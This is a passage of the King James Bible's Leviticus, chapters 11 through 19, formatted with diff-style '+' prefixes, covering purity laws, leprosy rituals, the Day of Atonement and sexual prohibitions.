+shall be unclean: and all drink that may be drunk in every such vessel +shall be unclean. + +11:35 And every thing whereupon any part of their carcase falleth +shall be unclean; whether it be oven, or ranges for pots, they shall +be broken down: for they are unclean and shall be unclean unto you. + +11:36 Nevertheless a fountain or pit, wherein there is plenty of +water, shall be clean: but that which toucheth their carcase shall be +unclean. + +11:37 And if any part of their carcase fall upon any sowing seed which +is to be sown, it shall be clean. + +11:38 But if any water be put upon the seed, and any part of their +carcase fall thereon, it shall be unclean unto you. + +11:39 And if any beast, of which ye may eat, die; he that toucheth the +carcase thereof shall be unclean until the even. + +11:40 And he that eateth of the carcase of it shall wash his clothes, +and be unclean until the even: he also that beareth the carcase of it +shall wash his clothes, and be unclean until the even. + +11:41 And every creeping thing that creepeth upon the earth shall be +an abomination; it shall not be eaten. + +11:42 Whatsoever goeth upon the belly, and whatsoever goeth upon all +four, or whatsoever hath more feet among all creeping things that +creep upon the earth, them ye shall not eat; for they are an +abomination. + +11:43 Ye shall not make yourselves abominable with any creeping thing +that creepeth, neither shall ye make yourselves unclean with them, +that ye should be defiled thereby. + +11:44 For I am the LORD your God: ye shall therefore sanctify +yourselves, and ye shall be holy; for I am holy: neither shall ye +defile yourselves with any manner of creeping thing that creepeth upon +the earth. + +11:45 For I am the LORD that bringeth you up out of the land of Egypt, +to be your God: ye shall therefore be holy, for I am holy. + +11:46 This is the law of the beasts, and of the fowl, and of every +living creature that moveth in the waters, and of every creature that +creepeth upon the earth: 11:47 To make a difference between the +unclean and the clean, and between the beast that may be eaten and the +beast that may not be eaten. + +12:1 And the LORD spake unto Moses, saying, 12:2 Speak unto the +children of Israel, saying, If a woman have conceived seed, and born a +man child: then she shall be unclean seven days; according to the days +of the separation for her infirmity shall she be unclean. + +12:3 And in the eighth day the flesh of his foreskin shall be +circumcised. + +12:4 And she shall then continue in the blood of her purifying three +and thirty days; she shall touch no hallowed thing, nor come into the +sanctuary, until the days of her purifying be fulfilled. + +12:5 But if she bear a maid child, then she shall be unclean two +weeks, as in her separation: and she shall continue in the blood of +her purifying threescore and six days. + +12:6 And when the days of her purifying are fulfilled, for a son, or +for a daughter, she shall bring a lamb of the first year for a burnt +offering, and a young pigeon, or a turtledove, for a sin offering, +unto the door of the tabernacle of the congregation, unto the priest: +12:7 Who shall offer it before the LORD, and make an atonement for +her; and she shall be cleansed from the issue of her blood. This is +the law for her that hath born a male or a female. + +12:8 And if she be not able to bring a lamb, then she shall bring two +turtles, or two young pigeons; the one for the burnt offering, and the +other for a sin offering: and the priest shall make an atonement for +her, and she shall be clean. + +13:1 And the LORD spake unto Moses and Aaron, saying, 13:2 When a man +shall have in the skin of his flesh a rising, a scab, or bright spot, +and it be in the skin of his flesh like the plague of leprosy; then he +shall be brought unto Aaron the priest, or unto one of his sons the +priests: 13:3 And the priest shall look on the plague in the skin of +the flesh: and when the hair in the plague is turned white, and the +plague in sight be deeper than the skin of his flesh, it is a plague +of leprosy: and the priest shall look on him, and pronounce him +unclean. + +13:4 If the bright spot be white in the skin of his flesh, and in +sight be not deeper than the skin, and the hair thereof be not turned +white; then the priest shall shut up him that hath the plague seven +days: 13:5 And the priest shall look on him the seventh day: and, +behold, if the plague in his sight be at a stay, and the plague spread +not in the skin; then the priest shall shut him up seven days more: +13:6 And the priest shall look on him again the seventh day: and, +behold, if the plague be somewhat dark, and the plague spread not in +the skin, the priest shall pronounce him clean: it is but a scab: and +he shall wash his clothes, and be clean. + +13:7 But if the scab spread much abroad in the skin, after that he +hath been seen of the priest for his cleansing, he shall be seen of +the priest again. + +13:8 And if the priest see that, behold, the scab spreadeth in the +skin, then the priest shall pronounce him unclean: it is a leprosy. + +13:9 When the plague of leprosy is in a man, then he shall be brought +unto the priest; 13:10 And the priest shall see him: and, behold, if +the rising be white in the skin, and it have turned the hair white, +and there be quick raw flesh in the rising; 13:11 It is an old leprosy +in the skin of his flesh, and the priest shall pronounce him unclean, +and shall not shut him up: for he is unclean. + +13:12 And if a leprosy break out abroad in the skin, and the leprosy +cover all the skin of him that hath the plague from his head even to +his foot, wheresoever the priest looketh; 13:13 Then the priest shall +consider: and, behold, if the leprosy have covered all his flesh, he +shall pronounce him clean that hath the plague: it is all turned +white: he is clean. + +13:14 But when raw flesh appeareth in him, he shall be unclean. + +13:15 And the priest shall see the raw flesh, and pronounce him to be +unclean: for the raw flesh is unclean: it is a leprosy. + +13:16 Or if the raw flesh turn again, and be changed unto white, he +shall come unto the priest; 13:17 And the priest shall see him: and, +behold, if the plague be turned into white; then the priest shall +pronounce him clean that hath the plague: he is clean. + +13:18 The flesh also, in which, even in the skin thereof, was a boil, +and is healed, 13:19 And in the place of the boil there be a white +rising, or a bright spot, white, and somewhat reddish, and it be +shewed to the priest; 13:20 And if, when the priest seeth it, behold, +it be in sight lower than the skin, and the hair thereof be turned +white; the priest shall pronounce him unclean: it is a plague of +leprosy broken out of the boil. + +13:21 But if the priest look on it, and, behold, there be no white +hairs therein, and if it be not lower than the skin, but be somewhat +dark; then the priest shall shut him up seven days: 13:22 And if it +spread much abroad in the skin, then the priest shall pronounce him +unclean: it is a plague. + +13:23 But if the bright spot stay in his place, and spread not, it is +a burning boil; and the priest shall pronounce him clean. + +13:24 Or if there be any flesh, in the skin whereof there is a hot +burning, and the quick flesh that burneth have a white bright spot, +somewhat reddish, or white; 13:25 Then the priest shall look upon it: +and, behold, if the hair in the bright spot be turned white, and it be +in sight deeper than the skin; it is a leprosy broken out of the +burning: wherefore the priest shall pronounce him unclean: it is the +plague of leprosy. + +13:26 But if the priest look on it, and, behold, there be no white +hair in the bright spot, and it be no lower than the other skin, but +be somewhat dark; then the priest shall shut him up seven days: 13:27 +And the priest shall look upon him the seventh day: and if it be +spread much abroad in the skin, then the priest shall pronounce him +unclean: it is the plague of leprosy. + +13:28 And if the bright spot stay in his place, and spread not in the +skin, but it be somewhat dark; it is a rising of the burning, and the +priest shall pronounce him clean: for it is an inflammation of the +burning. + +13:29 If a man or woman have a plague upon the head or the beard; +13:30 Then the priest shall see the plague: and, behold, if it be in +sight deeper than the skin; and there be in it a yellow thin hair; +then the priest shall pronounce him unclean: it is a dry scall, even a +leprosy upon the head or beard. + +13:31 And if the priest look on the plague of the scall, and, behold, +it be not in sight deeper than the skin, and that there is no black +hair in it; then the priest shall shut up him that hath the plague of +the scall seven days: 13:32 And in the seventh day the priest shall +look on the plague: and, behold, if the scall spread not, and there be +in it no yellow hair, and the scall be not in sight deeper than the +skin; 13:33 He shall be shaven, but the scall shall he not shave; and +the priest shall shut up him that hath the scall seven days more: +13:34 And in the seventh day the priest shall look on the scall: and, +behold, if the scall be not spread in the skin, nor be in sight deeper +than the skin; then the priest shall pronounce him clean: and he shall +wash his clothes, and be clean. + +13:35 But if the scall spread much in the skin after his cleansing; +13:36 Then the priest shall look on him: and, behold, if the scall be +spread in the skin, the priest shall not seek for yellow hair; he is +unclean. + +13:37 But if the scall be in his sight at a stay, and that there is +black hair grown up therein; the scall is healed, he is clean: and the +priest shall pronounce him clean. + +13:38 If a man also or a woman have in the skin of their flesh bright +spots, even white bright spots; 13:39 Then the priest shall look: and, +behold, if the bright spots in the skin of their flesh be darkish +white; it is a freckled spot that groweth in the skin; he is clean. + +13:40 And the man whose hair is fallen off his head, he is bald; yet +is he clean. + +13:41 And he that hath his hair fallen off from the part of his head +toward his face, he is forehead bald: yet is he clean. + +13:42 And if there be in the bald head, or bald forehead, a white +reddish sore; it is a leprosy sprung up in his bald head, or his bald +forehead. + +13:43 Then the priest shall look upon it: and, behold, if the rising +of the sore be white reddish in his bald head, or in his bald +forehead, as the leprosy appeareth in the skin of the flesh; 13:44 He +is a leprous man, he is unclean: the priest shall pronounce him +utterly unclean; his plague is in his head. + +13:45 And the leper in whom the plague is, his clothes shall be rent, +and his head bare, and he shall put a covering upon his upper lip, and +shall cry, Unclean, unclean. + +13:46 All the days wherein the plague shall be in him he shall be +defiled; he is unclean: he shall dwell alone; without the camp shall +his habitation be. + +13:47 The garment also that the plague of leprosy is in, whether it be +a woollen garment, or a linen garment; 13:48 Whether it be in the +warp, or woof; of linen, or of woollen; whether in a skin, or in any +thing made of skin; 13:49 And if the plague be greenish or reddish in +the garment, or in the skin, either in the warp, or in the woof, or in +any thing of skin; it is a plague of leprosy, and shall be shewed unto +the priest: 13:50 And the priest shall look upon the plague, and shut +up it that hath the plague seven days: 13:51 And he shall look on the +plague on the seventh day: if the plague be spread in the garment, +either in the warp, or in the woof, or in a skin, or in any work that +is made of skin; the plague is a fretting leprosy; it is unclean. + +13:52 He shall therefore burn that garment, whether warp or woof, in +woollen or in linen, or any thing of skin, wherein the plague is: for +it is a fretting leprosy; it shall be burnt in the fire. + +13:53 And if the priest shall look, and, behold, the plague be not +spread in the garment, either in the warp, or in the woof, or in any +thing of skin; 13:54 Then the priest shall command that they wash the +thing wherein the plague is, and he shall shut it up seven days more: +13:55 And the priest shall look on the plague, after that it is +washed: and, behold, if the plague have not changed his colour, and +the plague be not spread; it is unclean; thou shalt burn it in the +fire; it is fret inward, whether it be bare within or without. + +13:56 And if the priest look, and, behold, the plague be somewhat dark +after the washing of it; then he shall rend it out of the garment, or +out of the skin, or out of the warp, or out of the woof: 13:57 And if +it appear still in the garment, either in the warp, or in the woof, or +in any thing of skin; it is a spreading plague: thou shalt burn that +wherein the plague is with fire. + +13:58 And the garment, either warp, or woof, or whatsoever thing of +skin it be, which thou shalt wash, if the plague be departed from +them, then it shall be washed the second time, and shall be clean. + +13:59 This is the law of the plague of leprosy in a garment of woollen +or linen, either in the warp, or woof, or any thing of skins, to +pronounce it clean, or to pronounce it unclean. + +14:1 And the LORD spake unto Moses, saying, 14:2 This shall be the law +of the leper in the day of his cleansing: He shall be brought unto the +priest: 14:3 And the priest shall go forth out of the camp; and the +priest shall look, and, behold, if the plague of leprosy be healed in +the leper; 14:4 Then shall the priest command to take for him that is +to be cleansed two birds alive and clean, and cedar wood, and scarlet, +and hyssop: 14:5 And the priest shall command that one of the birds be +killed in an earthen vessel over running water: 14:6 As for the living +bird, he shall take it, and the cedar wood, and the scarlet, and the +hyssop, and shall dip them and the living bird in the blood of the +bird that was killed over the running water: 14:7 And he shall +sprinkle upon him that is to be cleansed from the leprosy seven times, +and shall pronounce him clean, and shall let the living bird loose +into the open field. + +14:8 And he that is to be cleansed shall wash his clothes, and shave +off all his hair, and wash himself in water, that he may be clean: and +after that he shall come into the camp, and shall tarry abroad out of +his tent seven days. + +14:9 But it shall be on the seventh day, that he shall shave all his +hair off his head and his beard and his eyebrows, even all his hair he +shall shave off: and he shall wash his clothes, also he shall wash his +flesh in water, and he shall be clean. + +14:10 And on the eighth day he shall take two he lambs without +blemish, and one ewe lamb of the first year without blemish, and three +tenth deals of fine flour for a meat offering, mingled with oil, and +one log of oil. + +14:11 And the priest that maketh him clean shall present the man that +is to be made clean, and those things, before the LORD, at the door of +the tabernacle of the congregation: 14:12 And the priest shall take +one he lamb, and offer him for a trespass offering, and the log of +oil, and wave them for a wave offering before the LORD: 14:13 And he +shall slay the lamb in the place where he shall kill the sin offering +and the burnt offering, in the holy place: for as the sin offering is +the priest's, so is the trespass offering: it is most holy: 14:14 And +the priest shall take some of the blood of the trespass offering, and +the priest shall put it upon the tip of the right ear of him that is +to be cleansed, and upon the thumb of his right hand, and upon the +great toe of his right foot: 14:15 And the priest shall take some of +the log of oil, and pour it into the palm of his own left hand: 14:16 +And the priest shall dip his right finger in the oil that is in his +left hand, and shall sprinkle of the oil with his finger seven times +before the LORD: 14:17 And of the rest of the oil that is in his hand +shall the priest put upon the tip of the right ear of him that is to +be cleansed, and upon the thumb of his right hand, and upon the great +toe of his right foot, upon the blood of the trespass offering: 14:18 +And the remnant of the oil that is in the priest's hand he shall pour +upon the head of him that is to be cleansed: and the priest shall make +an atonement for him before the LORD. + +14:19 And the priest shall offer the sin offering, and make an +atonement for him that is to be cleansed from his uncleanness; and +afterward he shall kill the burnt offering: 14:20 And the priest shall +offer the burnt offering and the meat offering upon the altar: and the +priest shall make an atonement for him, and he shall be clean. + +14:21 And if he be poor, and cannot get so much; then he shall take +one lamb for a trespass offering to be waved, to make an atonement for +him, and one tenth deal of fine flour mingled with oil for a meat +offering, and a log of oil; 14:22 And two turtledoves, or two young +pigeons, such as he is able to get; and the one shall be a sin +offering, and the other a burnt offering. + +14:23 And he shall bring them on the eighth day for his cleansing unto +the priest, unto the door of the tabernacle of the congregation, +before the LORD. + +14:24 And the priest shall take the lamb of the trespass offering, and +the log of oil, and the priest shall wave them for a wave offering +before the LORD: 14:25 And he shall kill the lamb of the trespass +offering, and the priest shall take some of the blood of the trespass +offering, and put it upon the tip of the right ear of him that is to +be cleansed, and upon the thumb of his right hand, and upon the great +toe of his right foot: 14:26 And the priest shall pour of the oil into +the palm of his own left hand: 14:27 And the priest shall sprinkle +with his right finger some of the oil that is in his left hand seven +times before the LORD: 14:28 And the priest shall put of the oil that +is in his hand upon the tip of the right ear of him that is to be +cleansed, and upon the thumb of his right hand, and upon the great toe +of his right foot, upon the place of the blood of the trespass +offering: 14:29 And the rest of the oil that is in the priest's hand +he shall put upon the head of him that is to be cleansed, to make an +atonement for him before the LORD. + +14:30 And he shall offer the one of the turtledoves, or of the young +pigeons, such as he can get; 14:31 Even such as he is able to get, the +one for a sin offering, and the other for a burnt offering, with the +meat offering: and the priest shall make an atonement for him that is +to be cleansed before the LORD. + +14:32 This is the law of him in whom is the plague of leprosy, whose +hand is not able to get that which pertaineth to his cleansing. + +14:33 And the LORD spake unto Moses and unto Aaron, saying, 14:34 When +ye be come into the land of Canaan, which I give to you for a +possession, and I put the plague of leprosy in a house of the land of +your possession; 14:35 And he that owneth the house shall come and +tell the priest, saying, It seemeth to me there is as it were a plague +in the house: 14:36 Then the priest shall command that they empty the +house, before the priest go into it to see the plague, that all that +is in the house be not made unclean: and afterward the priest shall go +in to see the house: 14:37 And he shall look on the plague, and, +behold, if the plague be in the walls of the house with hollow +strakes, greenish or reddish, which in sight are lower than the wall; +14:38 Then the priest shall go out of the house to the door of the +house, and shut up the house seven days: 14:39 And the priest shall +come again the seventh day, and shall look: and, behold, if the plague +be spread in the walls of the house; 14:40 Then the priest shall +command that they take away the stones in which the plague is, and +they shall cast them into an unclean place without the city: 14:41 And +he shall cause the house to be scraped within round about, and they +shall pour out the dust that they scrape off without the city into an +unclean place: 14:42 And they shall take other stones, and put them in +the place of those stones; and he shall take other morter, and shall +plaister the house. + +14:43 And if the plague come again, and break out in the house, after +that he hath taken away the stones, and after he hath scraped the +house, and after it is plaistered; 14:44 Then the priest shall come +and look, and, behold, if the plague be spread in the house, it is a +fretting leprosy in the house; it is unclean. + +14:45 And he shall break down the house, the stones of it, and the +timber thereof, and all the morter of the house; and he shall carry +them forth out of the city into an unclean place. + +14:46 Moreover he that goeth into the house all the while that it is +shut up shall be unclean until the even. + +14:47 And he that lieth in the house shall wash his clothes; and he +that eateth in the house shall wash his clothes. + +14:48 And if the priest shall come in, and look upon it, and, behold, +the plague hath not spread in the house, after the house was +plaistered: then the priest shall pronounce the house clean, because +the plague is healed. + +14:49 And he shall take to cleanse the house two birds, and cedar +wood, and scarlet, and hyssop: 14:50 And he shall kill the one of the +birds in an earthen vessel over running water: 14:51 And he shall take +the cedar wood, and the hyssop, and the scarlet, and the living bird, +and dip them in the blood of the slain bird, and in the running water, +and sprinkle the house seven times: 14:52 And he shall cleanse the +house with the blood of the bird, and with the running water, and with +the living bird, and with the cedar wood, and with the hyssop, and +with the scarlet: 14:53 But he shall let go the living bird out of the +city into the open fields, and make an atonement for the house: and it +shall be clean. + +14:54 This is the law for all manner of plague of leprosy, and scall, +14:55 And for the leprosy of a garment, and of a house, 14:56 And for +a rising, and for a scab, and for a bright spot: 14:57 To teach when +it is unclean, and when it is clean: this is the law of leprosy. + +15:1 And the LORD spake unto Moses and to Aaron, saying, 15:2 Speak +unto the children of Israel, and say unto them, When any man hath a +running issue out of his flesh, because of his issue he is unclean. + +15:3 And this shall be his uncleanness in his issue: whether his flesh +run with his issue, or his flesh be stopped from his issue, it is his +uncleanness. + +15:4 Every bed, whereon he lieth that hath the issue, is unclean: and +every thing, whereon he sitteth, shall be unclean. + +15:5 And whosoever toucheth his bed shall wash his clothes, and bathe +himself in water, and be unclean until the even. + +15:6 And he that sitteth on any thing whereon he sat that hath the +issue shall wash his clothes, and bathe himself in water, and be +unclean until the even. + +15:7 And he that toucheth the flesh of him that hath the issue shall +wash his clothes, and bathe himself in water, and be unclean until the +even. + +15:8 And if he that hath the issue spit upon him that is clean; then +he shall wash his clothes, and bathe himself in water, and be unclean +until the even. + +15:9 And what saddle soever he rideth upon that hath the issue shall +be unclean. + +15:10 And whosoever toucheth any thing that was under him shall be +unclean until the even: and he that beareth any of those things shall +wash his clothes, and bathe himself in water, and be unclean until the +even. + +15:11 And whomsoever he toucheth that hath the issue, and hath not +rinsed his hands in water, he shall wash his clothes, and bathe +himself in water, and be unclean until the even. + +15:12 And the vessel of earth, that he toucheth which hath the issue, +shall be broken: and every vessel of wood shall be rinsed in water. + +15:13 And when he that hath an issue is cleansed of his issue; then he +shall number to himself seven days for his cleansing, and wash his +clothes, and bathe his flesh in running water, and shall be clean. + +15:14 And on the eighth day he shall take to him two turtledoves, or +two young pigeons, and come before the LORD unto the door of the +tabernacle of the congregation, and give them unto the priest: 15:15 +And the priest shall offer them, the one for a sin offering, and the +other for a burnt offering; and the priest shall make an atonement for +him before the LORD for his issue. + +15:16 And if any man's seed of copulation go out from him, then he +shall wash all his flesh in water, and be unclean until the even. + +15:17 And every garment, and every skin, whereon is the seed of +copulation, shall be washed with water, and be unclean until the even. + +15:18 The woman also with whom man shall lie with seed of copulation, +they shall both bathe themselves in water, and be unclean until the +even. + +15:19 And if a woman have an issue, and her issue in her flesh be +blood, she shall be put apart seven days: and whosoever toucheth her +shall be unclean until the even. + +15:20 And every thing that she lieth upon in her separation shall be +unclean: every thing also that she sitteth upon shall be unclean. + +15:21 And whosoever toucheth her bed shall wash his clothes, and bathe +himself in water, and be unclean until the even. + +15:22 And whosoever toucheth any thing that she sat upon shall wash +his clothes, and bathe himself in water, and be unclean until the +even. + +15:23 And if it be on her bed, or on any thing whereon she sitteth, +when he toucheth it, he shall be unclean until the even. + +15:24 And if any man lie with her at all, and her flowers be upon him, +he shall be unclean seven days; and all the bed whereon he lieth shall +be unclean. + +15:25 And if a woman have an issue of her blood many days out of the +time of her separation, or if it run beyond the time of her +separation; all the days of the issue of her uncleanness shall be as +the days of her separation: she shall be unclean. + +15:26 Every bed whereon she lieth all the days of her issue shall be +unto her as the bed of her separation: and whatsoever she sitteth upon +shall be unclean, as the uncleanness of her separation. + +15:27 And whosoever toucheth those things shall be unclean, and shall +wash his clothes, and bathe himself in water, and be unclean until the +even. + +15:28 But if she be cleansed of her issue, then she shall number to +herself seven days, and after that she shall be clean. + +15:29 And on the eighth day she shall take unto her two turtles, or +two young pigeons, and bring them unto the priest, to the door of the +tabernacle of the congregation. + +15:30 And the priest shall offer the one for a sin offering, and the +other for a burnt offering; and the priest shall make an atonement for +her before the LORD for the issue of her uncleanness. + +15:31 Thus shall ye separate the children of Israel from their +uncleanness; that they die not in their uncleanness, when they defile +my tabernacle that is among them. + +15:32 This is the law of him that hath an issue, and of him whose seed +goeth from him, and is defiled therewith; 15:33 And of her that is +sick of her flowers, and of him that hath an issue, of the man, and of +the woman, and of him that lieth with her that is unclean. + +16:1 And the LORD spake unto Moses after the death of the two sons of +Aaron, when they offered before the LORD, and died; 16:2 And the LORD +said unto Moses, Speak unto Aaron thy brother, that he come not at all +times into the holy place within the vail before the mercy seat, which +is upon the ark; that he die not: for I will appear in the cloud upon +the mercy seat. + +16:3 Thus shall Aaron come into the holy place: with a young bullock +for a sin offering, and a ram for a burnt offering. + +16:4 He shall put on the holy linen coat, and he shall have the linen +breeches upon his flesh, and shall be girded with a linen girdle, and +with the linen mitre shall he be attired: these are holy garments; +therefore shall he wash his flesh in water, and so put them on. + +16:5 And he shall take of the congregation of the children of Israel +two kids of the goats for a sin offering, and one ram for a burnt +offering. + +16:6 And Aaron shall offer his bullock of the sin offering, which is +for himself, and make an atonement for himself, and for his house. + +16:7 And he shall take the two goats, and present them before the LORD +at the door of the tabernacle of the congregation. + +16:8 And Aaron shall cast lots upon the two goats; one lot for the +LORD, and the other lot for the scapegoat. + +16:9 And Aaron shall bring the goat upon which the LORD's lot fell, +and offer him for a sin offering. + +16:10 But the goat, on which the lot fell to be the scapegoat, shall +be presented alive before the LORD, to make an atonement with him, and +to let him go for a scapegoat into the wilderness. + +16:11 And Aaron shall bring the bullock of the sin offering, which is +for himself, and shall make an atonement for himself, and for his +house, and shall kill the bullock of the sin offering which is for +himself: 16:12 And he shall take a censer full of burning coals of +fire from off the altar before the LORD, and his hands full of sweet +incense beaten small, and bring it within the vail: 16:13 And he shall +put the incense upon the fire before the LORD, that the cloud of the +incense may cover the mercy seat that is upon the testimony, that he +die not: 16:14 And he shall take of the blood of the bullock, and +sprinkle it with his finger upon the mercy seat eastward; and before +the mercy seat shall he sprinkle of the blood with his finger seven +times. + +16:15 Then shall he kill the goat of the sin offering, that is for the +people, and bring his blood within the vail, and do with that blood as +he did with the blood of the bullock, and sprinkle it upon the mercy +seat, and before the mercy seat: 16:16 And he shall make an atonement +for the holy place, because of the uncleanness of the children of +Israel, and because of their transgressions in all their sins: and so +shall he do for the tabernacle of the congregation, that remaineth +among them in the midst of their uncleanness. + +16:17 And there shall be no man in the tabernacle of the congregation +when he goeth in to make an atonement in the holy place, until he come +out, and have made an atonement for himself, and for his household, +and for all the congregation of Israel. + +16:18 And he shall go out unto the altar that is before the LORD, and +make an atonement for it; and shall take of the blood of the bullock, +and of the blood of the goat, and put it upon the horns of the altar +round about. + +16:19 And he shall sprinkle of the blood upon it with his finger seven +times, and cleanse it, and hallow it from the uncleanness of the +children of Israel. + +16:20 And when he hath made an end of reconciling the holy place, and +the tabernacle of the congregation, and the altar, he shall bring the +live goat: 16:21 And Aaron shall lay both his hands upon the head of +the live goat, and confess over him all the iniquities of the children +of Israel, and all their transgressions in all their sins, putting +them upon the head of the goat, and shall send him away by the hand of +a fit man into the wilderness: 16:22 And the goat shall bear upon him +all their iniquities unto a land not inhabited: and he shall let go +the goat in the wilderness. + +16:23 And Aaron shall come into the tabernacle of the congregation, +and shall put off the linen garments, which he put on when he went +into the holy place, and shall leave them there: 16:24 And he shall +wash his flesh with water in the holy place, and put on his garments, +and come forth, and offer his burnt offering, and the burnt offering +of the people, and make an atonement for himself, and for the people. + +16:25 And the fat of the sin offering shall he burn upon the altar. + +16:26 And he that let go the goat for the scapegoat shall wash his +clothes, and bathe his flesh in water, and afterward come into the +camp. + +16:27 And the bullock for the sin offering, and the goat for the sin +offering, whose blood was brought in to make atonement in the holy +place, shall one carry forth without the camp; and they shall burn in +the fire their skins, and their flesh, and their dung. + +16:28 And he that burneth them shall wash his clothes, and bathe his +flesh in water, and afterward he shall come into the camp. + +16:29 And this shall be a statute for ever unto you: that in the +seventh month, on the tenth day of the month, ye shall afflict your +souls, and do no work at all, whether it be one of your own country, +or a stranger that sojourneth among you: 16:30 For on that day shall +the priest make an atonement for you, to cleanse you, that ye may be +clean from all your sins before the LORD. + +16:31 It shall be a sabbath of rest unto you, and ye shall afflict +your souls, by a statute for ever. + +16:32 And the priest, whom he shall anoint, and whom he shall +consecrate to minister in the priest's office in his father's stead, +shall make the atonement, and shall put on the linen clothes, even the +holy garments: 16:33 And he shall make an atonement for the holy +sanctuary, and he shall make an atonement for the tabernacle of the +congregation, and for the altar, and he shall make an atonement for +the priests, and for all the people of the congregation. + +16:34 And this shall be an everlasting statute unto you, to make an +atonement for the children of Israel for all their sins once a year. +And he did as the LORD commanded Moses. + +17:1 And the LORD spake unto Moses, saying, 17:2 Speak unto Aaron, and +unto his sons, and unto all the children of Israel, and say unto them; +This is the thing which the LORD hath commanded, saying, 17:3 What man +soever there be of the house of Israel, that killeth an ox, or lamb, +or goat, in the camp, or that killeth it out of the camp, 17:4 And +bringeth it not unto the door of the tabernacle of the congregation, +to offer an offering unto the LORD before the tabernacle of the LORD; +blood shall be imputed unto that man; he hath shed blood; and that man +shall be cut off from among his people: 17:5 To the end that the +children of Israel may bring their sacrifices, which they offer in the +open field, even that they may bring them unto the LORD, unto the door +of the tabernacle of the congregation, unto the priest, and offer them +for peace offerings unto the LORD. + +17:6 And the priest shall sprinkle the blood upon the altar of the +LORD at the door of the tabernacle of the congregation, and burn the +fat for a sweet savour unto the LORD. + +17:7 And they shall no more offer their sacrifices unto devils, after +whom they have gone a whoring. This shall be a statute for ever unto +them throughout their generations. + +17:8 And thou shalt say unto them, Whatsoever man there be of the +house of Israel, or of the strangers which sojourn among you, that +offereth a burnt offering or sacrifice, 17:9 And bringeth it not unto +the door of the tabernacle of the congregation, to offer it unto the +LORD; even that man shall be cut off from among his people. + +17:10 And whatsoever man there be of the house of Israel, or of the +strangers that sojourn among you, that eateth any manner of blood; I +will even set my face against that soul that eateth blood, and will +cut him off from among his people. + +17:11 For the life of the flesh is in the blood: and I have given it +to you upon the altar to make an atonement for your souls: for it is +the blood that maketh an atonement for the soul. + +17:12 Therefore I said unto the children of Israel, No soul of you +shall eat blood, neither shall any stranger that sojourneth among you +eat blood. + +17:13 And whatsoever man there be of the children of Israel, or of the +strangers that sojourn among you, which hunteth and catcheth any beast +or fowl that may be eaten; he shall even pour out the blood thereof, +and cover it with dust. + +17:14 For it is the life of all flesh; the blood of it is for the life +thereof: therefore I said unto the children of Israel, Ye shall eat +the blood of no manner of flesh: for the life of all flesh is the +blood thereof: whosoever eateth it shall be cut off. + +17:15 And every soul that eateth that which died of itself, or that +which was torn with beasts, whether it be one of your own country, or +a stranger, he shall both wash his clothes, and bathe himself in +water, and be unclean until the even: then shall he be clean. + +17:16 But if he wash them not, nor bathe his flesh; then he shall bear +his iniquity. + +18:1 And the LORD spake unto Moses, saying, 18:2 Speak unto the +children of Israel, and say unto them, I am the LORD your God. + +18:3 After the doings of the land of Egypt, wherein ye dwelt, shall ye +not do: and after the doings of the land of Canaan, whither I bring +you, shall ye not do: neither shall ye walk in their ordinances. + +18:4 Ye shall do my judgments, and keep mine ordinances, to walk +therein: I am the LORD your God. + +18:5 Ye shall therefore keep my statutes, and my judgments: which if a +man do, he shall live in them: I am the LORD. + +18:6 None of you shall approach to any that is near of kin to him, to +uncover their nakedness: I am the LORD. + +18:7 The nakedness of thy father, or the nakedness of thy mother, +shalt thou not uncover: she is thy mother; thou shalt not uncover her +nakedness. + +18:8 The nakedness of thy father's wife shalt thou not uncover: it is +thy father's nakedness. + +18:9 The nakedness of thy sister, the daughter of thy father, or +daughter of thy mother, whether she be born at home, or born abroad, +even their nakedness thou shalt not uncover. + +18:10 The nakedness of thy son's daughter, or of thy daughter's +daughter, even their nakedness thou shalt not uncover: for theirs is +thine own nakedness. + +18:11 The nakedness of thy father's wife's daughter, begotten of thy +father, she is thy sister, thou shalt not uncover her nakedness. + +18:12 Thou shalt not uncover the nakedness of thy father's sister: she +is thy father's near kinswoman. + +18:13 Thou shalt not uncover the nakedness of thy mother's sister: for +she is thy mother's near kinswoman. + +18:14 Thou shalt not uncover the nakedness of thy father's brother, +thou shalt not approach to his wife: she is thine aunt. + +18:15 Thou shalt not uncover the nakedness of thy daughter in law: she +is thy son's wife; thou shalt not uncover her nakedness. + +18:16 Thou shalt not uncover the nakedness of thy brother's wife: it +is thy brother's nakedness. + +18:17 Thou shalt not uncover the nakedness of a woman and her +daughter, neither shalt thou take her son's daughter, or her +daughter's daughter, to uncover her nakedness; for they are her near +kinswomen: it is wickedness. + +18:18 Neither shalt thou take a wife to her sister, to vex her, to +uncover her nakedness, beside the other in her life time. + +18:19 Also thou shalt not approach unto a woman to uncover her +nakedness, as long as she is put apart for her uncleanness. + +18:20 Moreover thou shalt not lie carnally with thy neighbour's wife, +to defile thyself with her. + +18:21 And thou shalt not let any of thy seed pass through the fire to +Molech, neither shalt thou profane the name of thy God: I am the LORD. + +18:22 Thou shalt not lie with mankind, as with womankind: it is +abomination. + +18:23 Neither shalt thou lie with any beast to defile thyself +therewith: neither shall any woman stand before a beast to lie down +thereto: it is confusion. + +18:24 Defile not ye yourselves in any of these things: for in all +these the nations are defiled which I cast out before you: 18:25 And +the land is defiled: therefore I do visit the iniquity thereof upon +it, and the land itself vomiteth out her inhabitants. + +18:26 Ye shall therefore keep my statutes and my judgments, and shall +not commit any of these abominations; neither any of your own nation, +nor any stranger that sojourneth among you: 18:27 (For all these +abominations have the men of the land done, which were before you, and +the land is defiled;) 18:28 That the land spue not you out also, when +ye defile it, as it spued out the nations that were before you. + +18:29 For whosoever shall commit any of these abominations, even the +souls that commit them shall be cut off from among their people. + +18:30 Therefore shall ye keep mine ordinance, that ye commit not any +one of these abominable customs, which were committed before you, and +that ye defile not yourselves therein: I am the LORD your God. + +19:1 And the LORD spake unto Moses, saying, 19:2 Speak unto all the +congregation of the children of Israel, and say unto them, Ye shall be +holy: for I the LORD your God am holy. + +19:3 Ye shall fear every man his mother, and his father, and keep my +sabbaths: I am the LORD your God. + +19:4 Turn ye not unto idols, nor make to yourselves molten gods: I am +the LORD your God. + +19:5 And if ye offer a sacrifice of peace offerings unto the LORD, ye +shall offer it at your own will. + +19:6 It shall be eaten the same day ye offer it, and on the morrow: +and if ought remain until the third day, it shall be burnt in the +fire. + +19:7 And if it be eaten at all on the third day, it is abominable; it +shall not be accepted. + +19:8 Therefore every one that eateth it shall bear his iniquity, +because he hath profaned the hallowed thing of the LORD: and that soul +shall be cut off from among his people. + +19:9 And when ye reap the harvest of your land, thou shalt not wholly +reap the corners of thy field, neither shalt thou gather the gleanings +of thy harvest. + +19:10 And thou shalt not glean thy vineyard, neither 